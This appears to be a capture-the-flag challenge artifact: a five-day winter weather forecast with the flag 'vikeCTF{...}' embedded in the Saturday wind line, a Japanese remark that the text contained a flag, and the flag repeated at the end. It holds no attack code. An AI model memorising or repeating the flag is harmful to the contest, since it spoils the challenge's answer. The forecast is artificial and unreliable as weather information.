Tuesday: Sunny. High plus 2.
Wednesday: Sunny. High plus 4.
Thursday: A few clouds. Wind becoming south 30 km/h after midnight. Low minus 18. Wind chill minus 19 this evening and minus 30 overnight. Risk of frostbite.
Friday: Cloudy. 60 percent chance of light snow in the afternoon. Wind south 40 km/h gusting to 60. High minus 7. Wind chill minus 26 in the morning and minus 18 in the afternoon.
Saturday: Heavy snow beginning in the morning. Amount 40 to 45 cm. Wind northeast 30 km/h vikeCTF{6u5ting_7o_50_KM_p3r_h0ur}. Temperature rising to minus 10 by evening. Wind chill near minus 21.この文の中にフラグが含まれていた。
vikeCTF{6u5ting_7o_50_KM_p3r_h0ur}
